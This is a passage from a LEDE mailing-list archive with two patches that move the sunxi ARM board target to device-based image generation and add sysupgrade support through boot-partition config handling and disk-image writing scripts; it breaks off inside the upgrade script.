Date: Tue,  3 Jan 2017 19:03:50 +0800
Subject: [LEDE-DEV] [PATCH v3 1/5] sunxi: convert to new image generation
	method
In-Reply-To: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
References: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483441434-31009-2-git-send-email-yszhou4tech@gmail.com>

The new Device/xxx were transformed automatically from old profiles.

Most device names are now taken from basename of the corresponding
kernel device tree file.  Device/sun5i-a13-olimex-som is an exception
because it is not explicitly supported in the kernel yet and shares the
same dts file with Device/sun5i-a13-olinuxino

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 target/linux/sunxi/image/Makefile                | 212 +++++++++++++++--------
 target/linux/sunxi/image/gen_sunxi_sdcard_img.sh |   3 +-
 target/linux/sunxi/profiles/01-default.mk        |  17 --
 target/linux/sunxi/profiles/a10-olinuxino.mk     |  19 --
 target/linux/sunxi/profiles/a13-olimex-som.mk    |  18 --
 target/linux/sunxi/profiles/a13-olinuxino.mk     |  18 --
 target/linux/sunxi/profiles/a20-olinuxino.mk     |  33 ----
 target/linux/sunxi/profiles/bananapi.mk          |  18 --
 target/linux/sunxi/profiles/bananapro.mk         |  19 --
 target/linux/sunxi/profiles/cubieboard.mk        |  19 --
 target/linux/sunxi/profiles/cubieboard2.mk       |  19 --
 target/linux/sunxi/profiles/cubietruck.mk        |  19 --
 target/linux/sunxi/profiles/lamobo-r1.mk         |  19 --
 target/linux/sunxi/profiles/mele_m9.mk           |  18 --
 target/linux/sunxi/profiles/orangepi_plus.mk     |  18 --
 target/linux/sunxi/profiles/pcduino.mk           |  18 --
 target/linux/sunxi/profiles/pcduino3.mk          |  19 --
 17 files changed, 143 insertions(+), 363 deletions(-)
 delete mode 100644 target/linux/sunxi/profiles/01-default.mk
 delete mode 100644 target/linux/sunxi/profiles/a10-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/a13-olimex-som.mk
 delete mode 100644 target/linux/sunxi/profiles/a13-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/a20-olinuxino.mk
 delete mode 100644 target/linux/sunxi/profiles/bananapi.mk
 delete mode 100644 target/linux/sunxi/profiles/bananapro.mk
 delete mode 100644 target/linux/sunxi/profiles/cubieboard.mk
 delete mode 100644 target/linux/sunxi/profiles/cubieboard2.mk
 delete mode 100644 target/linux/sunxi/profiles/cubietruck.mk
 delete mode 100644 target/linux/sunxi/profiles/lamobo-r1.mk
 delete mode 100644 target/linux/sunxi/profiles/mele_m9.mk
 delete mode 100644 target/linux/sunxi/profiles/orangepi_plus.mk
 delete mode 100644 target/linux/sunxi/profiles/pcduino.mk
 delete mode 100644 target/linux/sunxi/profiles/pcduino3.mk

diff --git a/target/linux/sunxi/image/Makefile b/target/linux/sunxi/image/Makefile
index c7d90a2..07beb03 100644
--- a/target/linux/sunxi/image/Makefile
+++ b/target/linux/sunxi/image/Makefile
@@ -1,5 +1,6 @@
 #
 # Copyright (C) 2013-2016 OpenWrt.org
+# Copyright (C) 2016 Yousong Zhou
 #
 # This is free software, licensed under the GNU General Public License v2.
 # See /LICENSE for more information.
@@ -11,111 +12,182 @@ include $(INCLUDE_DIR)/host.mk
 FAT32_BLOCK_SIZE=1024
 FAT32_BLOCKS=$(shell echo $$(($(CONFIG_SUNXI_SD_BOOT_PARTSIZE)*1024*1024/$(FAT32_BLOCK_SIZE))))
 
-define Image/BuildKernel
-	-mkdir -p $(KDIR_TMP)
-
-	mkimage -A arm -O linux -T kernel -C none \
-		-a 0x40008000 -e 0x40008000 \
-		-n 'ARM OpenWrt Linux-$(LINUX_VERSION)' \
-		-d $(KDIR)/zImage $(BIN_DIR)/$(IMG_PREFIX)-uImage
-
-    ifneq ($(CONFIG_TARGET_ROOTFS_INITRAMFS),)
-	$(CP) $(KDIR)/zImage-initramfs $(BIN_DIR)/$(IMG_PREFIX)-zImage-initramfs
-	echo -ne '\x00\x00\x00\x00' >> $(BIN_DIR)/$(IMG_PREFIX)-zImage-initramfs
-	$(call Image/BuildKernel/MkuImage, \
-		none, 0x40008000, 0x40008000, \
-		$(BIN_DIR)/$(IMG_PREFIX)-zImage-initramfs, \
-		$(BIN_DIR)/$(IMG_PREFIX)-uImage-initramfs \
-	)
-    endif
-endef
-
-define Image/Build/SDCard
-	rm -f $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img
-	mkfs.fat $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img -C $(FAT32_BLOCKS)
-
-	mcopy -i $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img $(KDIR)/uboot-sunxi-$(PROFILE)-boot.scr ::boot.scr
-	mcopy -i $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img $(DTS_DIR)/$(2).dtb ::dtb
-	mcopy -i $(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img $(BIN_DIR)/$(IMG_PREFIX)-uImage ::uImage
-
-	./gen_sunxi_sdcard_img.sh \
-		$(BIN_DIR)/$(IMG_PREFIX)-$(PROFILE)-sdcard-vfat-$(1).img \
-		$(KDIR_TMP)/$(IMG_PREFIX)-$(PROFILE)-boot.img \
-		$(KDIR)/root.$(1) \
+KERNEL_LOADADDR:=0x40008000
+
+define Build/sunxi-sdcard
+	rm -f $@.boot
+	mkfs.fat $@.boot -C $(FAT32_BLOCKS)
+
+	mcopy -i $@.boot $(KDIR)/uboot-sunxi-$(SUNXI_UBOOT)-boot.scr ::boot.scr
+	mcopy -i $@.boot $(DTS_DIR)/$(SUNXI_DTS).dtb ::dtb
+	mcopy -i $@.boot $(IMAGE_KERNEL) ::uImage
+	./gen_sunxi_sdcard_img.sh $@ \
+		$@.boot \
+		$(IMAGE_ROOTFS) \
 		$(CONFIG_SUNXI_SD_BOOT_PARTSIZE) \
 		$(CONFIG_TARGET_ROOTFS_PARTSIZE) \
-		$(KDIR)/uboot-sunxi-$(PROFILE)-u-boot-with-spl.bin
-
-  ifneq ($(CONFIG_TARGET_IMAGES_GZIP),)
-	gzip -f9n $(BIN_DIR)/$(IMG_PREFIX)-$(PROFILE)-sdcard-vfat-$(1).img
-  endif
+		$(KDIR)/uboot-sunxi-$(SUNXI_UBOOT)-u-boot-with-spl.bin
+	rm -f $@.boot
 endef
 
-define Image/Build/Profile/A10-OLinuXino-Lime
-	$(call Image/Build/SDCard,$(1),sun4i-a10-olinuxino-lime)
+# why \x00\x00\x00\x00 for zImage-initramfs
+define Device/Default
+  PROFILES := Default
+  DEVICE_VARS := SUNXI_DTS SUNXI_UBOOT
+  KERNEL_NAME := zImage
+  KERNEL := kernel-bin | uImage none
+  IMAGES := sdcard.img.gz
+  IMAGE/sdcard.img.gz := sunxi-sdcard | gzip
 endef
 
-define Image/Build/Profile/A13-OLinuXino
-	$(call Image/Build/SDCard,$(1),sun5i-a13-olinuxino)
+define Device/sun4i-a10-olinuxino-lime
+  DEVICE_TITLE:=Olimex A10-OLinuXino-LIME
+  DEVICE_PACKAGES:=uboot-sunxi-A10-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUNXI_DTS:=sun4i-a10-olinuxino-lime
+  SUNXI_UBOOT:=A10-OLinuXino-Lime
 endef
 
-define Image/Build/Profile/A20-OLinuXino-Lime
-	$(call Image/Build/SDCard,$(1),sun7i-a20-olinuxino-lime)
+TARGET_DEVICES += sun4i-a10-olinuxino-lime
+
+
+define Device/sun5i-a13-olimex-som
+  DEVICE_TITLE:=Olimex A13 SOM
+  DEVICE_PACKAGES:=uboot-sunxi-OLIMEX_A13_SOM kmod-rtl8192cu
+  SUNXI_DTS:=sun5i-a13-olinuxino
+  SUNXI_UBOOT:=OLIMEX_A13_SOM
 endef
 
-define Image/Build/Profile/A20-OLinuXino_MICRO
-	$(call Image/Build/SDCard,$(1),sun7i-a20-olinuxino-micro)
+TARGET_DEVICES += sun5i-a13-olimex-som
+
+
+define Device/sun5i-a13-olinuxino
+  DEVICE_TITLE:=Olimex A13-Olinuxino
+  DEVICE_PACKAGES:=uboot-sunxi-A13-OLinuXino kmod-rtl8192cu
+  SUNXI_DTS:=sun5i-a13-olinuxino
+  SUNXI_UBOOT:=A13-OLinuXino
 endef
 
-define Image/Build/Profile/Bananapi
-	$(call Image/Build/SDCard,$(1),sun7i-a20-bananapi)
+TARGET_DEVICES += sun5i-a13-olinuxino
+
+
+define Device/sun7i-a20-olinuxino-lime
+  DEVICE_TITLE:=Olimex A20-OLinuXino-LIME
+  DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi
+  SUNXI_DTS:=sun7i-a20-olinuxino-lime
+  SUNXI_UBOOT:=A20-OLinuXino-Lime
 endef
 
-define Image/Build/Profile/Bananapro
-	$(call Image/Build/SDCard,$(1),sun7i-a20-bananapro)
+TARGET_DEVICES += sun7i-a20-olinuxino-lime
+
+
+define Device/sun7i-a20-olinuxino-micro
+  DEVICE_TITLE:=Olimex A20-Olinuxino Micro
+  DEVICE_PACKAGES:=uboot-sunxi-A20-OLinuXino_MICRO kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUNXI_DTS:=sun7i-a20-olinuxino-micro
+  SUNXI_UBOOT:=A20-OLinuXino_MICRO
 endef
 
-define Image/Build/Profile/Lamobo_R1
-	$(call Image/Build/SDCard,$(1),sun7i-a20-lamobo-r1)
+TARGET_DEVICES += sun7i-a20-olinuxino-micro
+
+
+define Device/sun7i-a20-bananapi
+  DEVICE_TITLE:=LeMaker Banana Pi
+  DEVICE_PACKAGES:=uboot-sunxi-Bananapi kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi
+  SUNXI_DTS:=sun7i-a20-bananapi
+  SUNXI_UBOOT:=Bananapi
 endef
 
-define Image/Build/Profile/Cubieboard
-	$(call Image/Build/SDCard,$(1),sun4i-a10-cubieboard)
+TARGET_DEVICES += sun7i-a20-bananapi
+
+
+define Device/sun7i-a20-bananapro
+  DEVICE_TITLE:=LeMaker Banana Pro
+  DEVICE_PACKAGES:=uboot-sunxi-Bananapro kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-brcmfmac
+  SUNXI_DTS:=sun7i-a20-bananapro
+  SUNXI_UBOOT:=Bananapro
 endef
 
-define Image/Build/Profile/Cubieboard2
-	$(call Image/Build/SDCard,$(1),sun7i-a20-cubieboard2)
+TARGET_DEVICES += sun7i-a20-bananapro
+
+
+define Device/sun7i-a20-cubieboard2
+  DEVICE_TITLE:=Cubietech Cubieboard2
+  DEVICE_PACKAGES:=uboot-sunxi-Cubieboard2 kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUNXI_DTS:=sun7i-a20-cubieboard2
+  SUNXI_UBOOT:=Cubieboard2
 endef
 
-define Image/Build/Profile/Cubietruck
-	$(call Image/Build/SDCard,$(1),sun7i-a20-cubietruck)
+TARGET_DEVICES += sun7i-a20-cubieboard2
+
+
+define Device/sun4i-a10-cubieboard
+  DEVICE_TITLE:=Cubietech Cubieboard
+  DEVICE_PACKAGES:=uboot-sunxi-Cubieboard kmod-ata-core kmod-ata-sunxi kmod-sun4i-emac kmod-rtc-sunxi
+  SUNXI_DTS:=sun4i-a10-cubieboard
+  SUNXI_UBOOT:=Cubieboard
 endef
 
-define Image/Build/Profile/OLIMEX_A13_SOM
-	$(call Image/Build/SDCard,$(1),sun5i-a13-olinuxino)
+TARGET_DEVICES += sun4i-a10-cubieboard
+
+
+define Device/sun7i-a20-cubietruck
+  DEVICE_TITLE:=Cubietech Cubietruck
+  DEVICE_PACKAGES:=uboot-sunxi-Cubietruck kmod-ata-core kmod-ata-sunxi kmod-rtc-sunxi kmod-brcmfmac
+  SUNXI_DTS:=sun7i-a20-cubietruck
+  SUNXI_UBOOT:=Cubietruck
 endef
 
-define Image/Build/Profile/Mele_M9
-	$(call Image/Build/SDCard,$(1),sun6i-a31-m9)
+TARGET_DEVICES += sun7i-a20-cubietruck
+
+
+define Device/sun7i-a20-lamobo-r1
+  DEVICE_TITLE:=Lamobo R1
+  DEVICE_PACKAGES:=uboot-sunxi-Lamobo_R1 kmod-ata-sunxi kmod-rtl8192cu swconfig wpad-mini
+  SUNXI_DTS:=sun7i-a20-lamobo-r1
+  SUNXI_UBOOT:=Lamobo_R1
 endef
 
-define Image/Build/Profile/Linksprite_pcDuino
-	$(call Image/Build/SDCard,$(1),sun4i-a10-pcduino)
+TARGET_DEVICES += sun7i-a20-lamobo-r1
+
+
+define Device/sun6i-a31-m9
+  DEVICE_TITLE:=Mele M9 top set box
+  DEVICE_PACKAGES:=uboot-sunxi-Mele_M9 kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  SUNXI_DTS:=sun6i-a31-m9
+  SUNXI_UBOOT:=Mele_M9
 endef
 
-define Image/Build/Profile/Linksprite_pcDuino3
-	$(call Image/Build/SDCard,$(1),sun7i-a20-pcduino3)
+TARGET_DEVICES += sun6i-a31-m9
+
+
+define Device/sun8i-h3-orangepi-plus
+  DEVICE_TITLE:=Xunlong Orange Pi Plus
+  DEVICE_PACKAGES:=kmod-rtc-sunxi uboot-sunxi-orangepi_plus
+  SUNXI_DTS:=sun8i-h3-orangepi-plus
+  SUNXI_UBOOT:=orangepi_plus
 endef
 
-define Image/Build/Profile/orangepi_plus
-	$(call Image/Build/SDCard,$(1),sun8i-h3-orangepi-plus)
+TARGET_DEVICES += sun8i-h3-orangepi-plus
+
+
+define Device/sun7i-a20-pcduino3
+  DEVICE_TITLE:=LinkSprite pcDuino3
+  DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino3 kmod-sun4i-emac kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi kmod-rtl8xxxu rtl8188eu-firmware
+  SUNXI_DTS:=sun7i-a20-pcduino3
+  SUNXI_UBOOT:=Linksprite_pcDuino3
 endef
 
-define Image/Build
-	$(call Image/Build/$(1),$(1))
-	$(call Image/Build/Profile/$(PROFILE),$(1))
+TARGET_DEVICES += sun7i-a20-pcduino3
+
 
-	dd if=$(KDIR)/root.$(1) of=$(BIN_DIR)/$(IMG_PREFIX)-root.$(1) bs=128k conv=sync
+define Device/sun4i-a10-pcduino
+  DEVICE_TITLE:=LinkSprite pcDuino
+  DEVICE_PACKAGES:=uboot-sunxi-Linksprite_pcDuino kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
+  SUNXI_DTS:=sun4i-a10-pcduino
+  SUNXI_UBOOT:=Linksprite_pcDuino
 endef
 
+TARGET_DEVICES += sun4i-a10-pcduino
+
+
 $(eval $(call BuildImage))
diff --git a/target/linux/sunxi/image/gen_sunxi_sdcard_img.sh b/target/linux/sunxi/image/gen_sunxi_sdcard_img.sh
index 2a09306..bb89e3a 100755
--- a/target/linux/sunxi/image/gen_sunxi_sdcard_img.sh
+++ b/target/linux/sunxi/image/gen_sunxi_sdcard_img.sh
@@ -1,5 +1,4 @@
 #!/usr/bin/env bash
-
 #
 # Copyright (C) 2013 OpenWrt.org
 #
@@ -7,7 +6,7 @@
 # See /LICENSE for more information.
 #
 
-set -x 
+set -ex
 [ $# -eq 6 ] || {
     echo "SYNTAX: $0 <file> <bootfs image> <rootfs image> <bootfs size> <rootfs size> <u-boot image>"
     exit 1
diff --git a/target/linux/sunxi/profiles/01-default.mk b/target/linux/sunxi/profiles/01-default.mk
deleted file mode 100644
index 7d83440..0000000
--- a/target/linux/sunxi/profiles/01-default.mk
+++ /dev/null
@@ -1,17 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Default
-  NAME:=Default package set
-  PACKAGES += uboot-sunxi-A13-OLinuXino
-endef
-
-define Profile/Default/Description
-	Default package set compatible with most boards.
-endef
-$(eval $(call Profile,Default))
-
diff --git a/target/linux/sunxi/profiles/a10-olinuxino.mk b/target/linux/sunxi/profiles/a10-olinuxino.mk
deleted file mode 100644
index b307373..0000000
--- a/target/linux/sunxi/profiles/a10-olinuxino.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/A10-OLinuXino-Lime
-	NAME:=A10 OLinuXino LIME
-	PACKAGES:=\
-		uboot-sunxi-A10-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi \
-		kmod-sun4i-emac kmod-rtc-sunxi
-endef
-
-define Profile/A10-OLinuXino-Lime/Description
-	Package set optimized for the Olimex A10 OLinuXino LIME
-endef
-
-$(eval $(call Profile,A10-OLinuXino-Lime))
diff --git a/target/linux/sunxi/profiles/a13-olimex-som.mk b/target/linux/sunxi/profiles/a13-olimex-som.mk
deleted file mode 100644
index 8dc7339..0000000
--- a/target/linux/sunxi/profiles/a13-olimex-som.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/OLIMEX_A13_SOM
-	NAME:=Olimex A13 SOM
-	PACKAGES:=\
-		uboot-sunxi-OLIMEX_A13_SOM kmod-rtl8192cu
-endef
-
-define Profile/OLIMEX_A13_SOM/Description
-	Package set optimized for the Olimex A13 SOM
-endef
-
-$(eval $(call Profile,OLIMEX_A13_SOM))
diff --git a/target/linux/sunxi/profiles/a13-olinuxino.mk b/target/linux/sunxi/profiles/a13-olinuxino.mk
deleted file mode 100644
index 0757098..0000000
--- a/target/linux/sunxi/profiles/a13-olinuxino.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/A13-OLinuXino
-	NAME:=A13 OLinuXino
-	PACKAGES:=\
-		uboot-sunxi-A13-OLinuXino kmod-rtl8192cu
-endef
-
-define Profile/A13-OLinuXino/Description
-	Package set optimized for the Olimex A13 OLinuXino
-endef
-
-$(eval $(call Profile,A13-OLinuXino))
diff --git a/target/linux/sunxi/profiles/a20-olinuxino.mk b/target/linux/sunxi/profiles/a20-olinuxino.mk
deleted file mode 100644
index 92c9ae5..0000000
--- a/target/linux/sunxi/profiles/a20-olinuxino.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/A20-OLinuXino-Lime
-	NAME:=A20 OLinuXino Lime
-	PACKAGES:=\
-		uboot-sunxi-A20-OLinuXino-Lime kmod-ata-core kmod-ata-sunxi \
-		kmod-rtc-sunxi
-endef
-
-define Profile/A20-OLinuXino-Lime/Description
-	Package set optimized for the Olimex A20 OLinuXino Lime
-endef
-
-$(eval $(call Profile,A20-OLinuXino-Lime))
-
-
-define Profile/A20-OLinuXino_MICRO
-	NAME:=A20 OLinuXino Micro
-	PACKAGES:=\
-		uboot-sunxi-A20-OLinuXino_MICRO kmod-ata-core kmod-ata-sunxi \
-		kmod-sun4i-emac kmod-rtc-sunxi
-endef
-
-define Profile/A20-OLinuXino_MICRO/Description
-	Package set optimized for the Olimex A20 OLinuXino micro
-endef
-
-$(eval $(call Profile,A20-OLinuXino_MICRO))
diff --git a/target/linux/sunxi/profiles/bananapi.mk b/target/linux/sunxi/profiles/bananapi.mk
deleted file mode 100644
index 96b8aeb..0000000
--- a/target/linux/sunxi/profiles/bananapi.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Bananapi
-	NAME:=Bananapi
-	PACKAGES:=\
-		uboot-sunxi-Bananapi kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi
-endef
-
-define Profile/Bananapi/Description
-	Package set optimized for the Bananapi
-endef
-
-$(eval $(call Profile,Bananapi))
diff --git a/target/linux/sunxi/profiles/bananapro.mk b/target/linux/sunxi/profiles/bananapro.mk
deleted file mode 100644
index 853b0d4..0000000
--- a/target/linux/sunxi/profiles/bananapro.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2015 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Bananapro
-	NAME:=Bananapro
-	PACKAGES:=\
-		uboot-sunxi-Bananapro kmod-rtc-sunxi kmod-ata-core kmod-ata-sunxi \
-		kmod-brcmfmac
-endef
-
-define Profile/Bananapro/Description
-	Package set optimized for the Bananapro
-endef
-
-$(eval $(call Profile,Bananapro))
diff --git a/target/linux/sunxi/profiles/cubieboard.mk b/target/linux/sunxi/profiles/cubieboard.mk
deleted file mode 100644
index c95efe6..0000000
--- a/target/linux/sunxi/profiles/cubieboard.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Cubieboard
-	NAME:=Cubieboard
-	PACKAGES:=\
-		uboot-sunxi-Cubieboard kmod-ata-core kmod-ata-sunxi \
-		kmod-sun4i-emac kmod-rtc-sunxi
-endef
-
-define Profile/Cubieboard/Description
-	Package set optimized for the Cubieboard
-endef
-
-$(eval $(call Profile,Cubieboard))
diff --git a/target/linux/sunxi/profiles/cubieboard2.mk b/target/linux/sunxi/profiles/cubieboard2.mk
deleted file mode 100644
index cfeb968..0000000
--- a/target/linux/sunxi/profiles/cubieboard2.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Cubieboard2
-	NAME:=Cubieboard2
-	PACKAGES:=\
-		uboot-sunxi-Cubieboard2 kmod-ata-core kmod-ata-sunxi \
-		kmod-sun4i-emac kmod-rtc-sunxi
-endef
-
-define Profile/Cubieboard2/Description
-	Package set optimized for the Cubieboard2
-endef
-
-$(eval $(call Profile,Cubieboard2))
diff --git a/target/linux/sunxi/profiles/cubietruck.mk b/target/linux/sunxi/profiles/cubietruck.mk
deleted file mode 100644
index 3e28334..0000000
--- a/target/linux/sunxi/profiles/cubietruck.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Cubietruck
-	NAME:=Cubietruck
-	PACKAGES:=\
-		uboot-sunxi-Cubietruck kmod-ata-core kmod-ata-sunxi \
-		kmod-rtc-sunxi kmod-brcmfmac
-endef
-
-define Profile/Cubietruck/Description
-	Package set optimized for the Cubietruck
-endef
-
-$(eval $(call Profile,Cubietruck))
diff --git a/target/linux/sunxi/profiles/lamobo-r1.mk b/target/linux/sunxi/profiles/lamobo-r1.mk
deleted file mode 100644
index 4bc1185..0000000
--- a/target/linux/sunxi/profiles/lamobo-r1.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2015 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Lamobo_R1
-	NAME:=Lamobo R1
-	PACKAGES:=\
-		uboot-sunxi-Lamobo_R1 kmod-ata-sunxi kmod-rtl8192cu \
-		swconfig wpad-mini
-endef
-
-define Profile/Lamobo_R1/Description
-	Package set optimized for the Lamobo R1
-endef
-
-$(eval $(call Profile,Lamobo_R1))
diff --git a/target/linux/sunxi/profiles/mele_m9.mk b/target/linux/sunxi/profiles/mele_m9.mk
deleted file mode 100644
index 1313da4..0000000
--- a/target/linux/sunxi/profiles/mele_m9.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Mele_M9
-	NAME:=Mele_M9
-	PACKAGES:=\
-		uboot-sunxi-Mele_M9 kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
-endef
-
-define Profile/Mele_M9/Description
-	Package set optimized for the Mele M9
-endef
-
-$(eval $(call Profile,Mele_M9))
diff --git a/target/linux/sunxi/profiles/orangepi_plus.mk b/target/linux/sunxi/profiles/orangepi_plus.mk
deleted file mode 100644
index 3da9da7..0000000
--- a/target/linux/sunxi/profiles/orangepi_plus.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2016 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/orangepi_plus
-	NAME:=orangepi_plus
-	PACKAGES:=\
-		kmod-rtc-sunxi uboot-sunxi-orangepi_plus
-endef
-
-define Profile/orangepi_plus/Description
-	Package set optimized for the OrangePi Plus (H3)
-endef
-
-$(eval $(call Profile,orangepi_plus))
diff --git a/target/linux/sunxi/profiles/pcduino.mk b/target/linux/sunxi/profiles/pcduino.mk
deleted file mode 100644
index 3a4202d..0000000
--- a/target/linux/sunxi/profiles/pcduino.mk
+++ /dev/null
@@ -1,18 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Linksprite_pcDuino
-	NAME:=Linksprite_pcDuino
-	PACKAGES:=\
-		uboot-sunxi-Linksprite_pcDuino kmod-sun4i-emac kmod-rtc-sunxi kmod-rtl8192cu
-endef
-
-define Profile/Linksprite_pcDuino/Description
-	Package set optimized for the Linksprite pcDuino
-endef
-
-$(eval $(call Profile,Linksprite_pcDuino))
diff --git a/target/linux/sunxi/profiles/pcduino3.mk b/target/linux/sunxi/profiles/pcduino3.mk
deleted file mode 100644
index 257d40f..0000000
--- a/target/linux/sunxi/profiles/pcduino3.mk
+++ /dev/null
@@ -1,19 +0,0 @@
-#
-# Copyright (C) 2013 OpenWrt.org
-#
-# This is free software, licensed under the GNU General Public License v2.
-# See /LICENSE for more information.
-#
-
-define Profile/Linksprite_pcDuino3
-	NAME:=pcDuino3
-	PACKAGES:=\
-		uboot-sunxi-Linksprite_pcDuino3 kmod-sun4i-emac kmod-rtc-sunxi \
-		kmod-ata-core kmod-ata-sunxi kmod-rtl8xxxu rtl8188eu-firmware
-endef
-
-define Profile/Linksprite_pcDuino3/Description
-	Package set optimized for the pcDuino3
-endef
-
-$(eval $(call Profile,Linksprite_pcDuino3))
-- 
2.6.4



From yszhou4tech at gmail.com  Tue Jan  3 03:03:52 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Tue,  3 Jan 2017 19:03:52 +0800
Subject: [LEDE-DEV] [PATCH v3 3/5] sunxi: add sysupgrade support
In-Reply-To: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
References: <1483441434-31009-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <1483441434-31009-4-git-send-email-yszhou4tech@gmail.com>

Enalbe builtin support for FAT filesystem as we need to mount boot
partition to store sysupgrade.tgz there

Signed-off-by: Yousong Zhou <yszhou4tech at gmail.com>
---
 .../sunxi/base-files/lib/preinit/79_move_config    | 20 +++++++
 .../linux/sunxi/base-files/lib/upgrade/platform.sh | 67 ++++++++++++++++++++++
 target/linux/sunxi/config-4.4                      |  4 ++
 3 files changed, 91 insertions(+)
 create mode 100644 target/linux/sunxi/base-files/lib/preinit/79_move_config
 create mode 100644 target/linux/sunxi/base-files/lib/upgrade/platform.sh

diff --git a/target/linux/sunxi/base-files/lib/preinit/79_move_config b/target/linux/sunxi/base-files/lib/preinit/79_move_config
new file mode 100644
index 0000000..c112588
--- /dev/null
+++ b/target/linux/sunxi/base-files/lib/preinit/79_move_config
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Copyright (C) 2012-2015 OpenWrt.org
+
+move_config() {
+	local partdev
+
+	. /lib/upgrade/common.sh
+
+	if export_bootdevice && export_partdevice partdev -1; then
+		if mount -t vfat -o rw,noatime "/dev/$partdev" /mnt; then
+			if [ -f /mnt/sysupgrade.tgz ]; then
+				mv -f /mnt/sysupgrade.tgz /
+			fi
+			umount /mnt
+		fi
+	fi
+}
+
+boot_hook_add preinit_mount_root move_config
+
diff --git a/target/linux/sunxi/base-files/lib/upgrade/platform.sh b/target/linux/sunxi/base-files/lib/upgrade/platform.sh
new file mode 100644
index 0000000..f2cd970
--- /dev/null
+++ b/target/linux/sunxi/base-files/lib/upgrade/platform.sh
@@ -0,0 +1,67 @@
+platform_check_image() {
+	true
+}
+
+platform_copy_config() {
+	local partdev
+
+	if export_partdevice partdev -1; then
+		mount -t vfat -o rw,noatime "/dev/$partdev" /mnt
+		cp -af "$CONF_TAR" /mnt/
+		umount /mnt
+	fi
+}
+
+platform_do_upgrade() {
+	local diskdev partdev ibs diff
+
+	if export_bootdevice && export_partdevice diskdev -2; then
+		sync
+		if [ "$SAVE_PARTITIONS" = "1" ]; then
+			get_partitions "/dev/$diskdev" bootdisk
+
+			#get block size
+			if [ -f "/sys/block/$diskdev/queue/physical_block_size" ]; then
+				ibs="$(cat "/sys/block/$diskdev/queue/physical_block_size")"
+			else
+				ibs=512
+			fi
+
+			#extract the boot sector from the image
+			get_image "$@" | dd of=/tmp/image.bs count=1 bs=512b
+
+			get_partitions /tmp/image.bs image
+
+			#compare tables
+			diff="$(grep -F -x -v -f /tmp/partmap.bootdisk /tmp/partmap.image)"
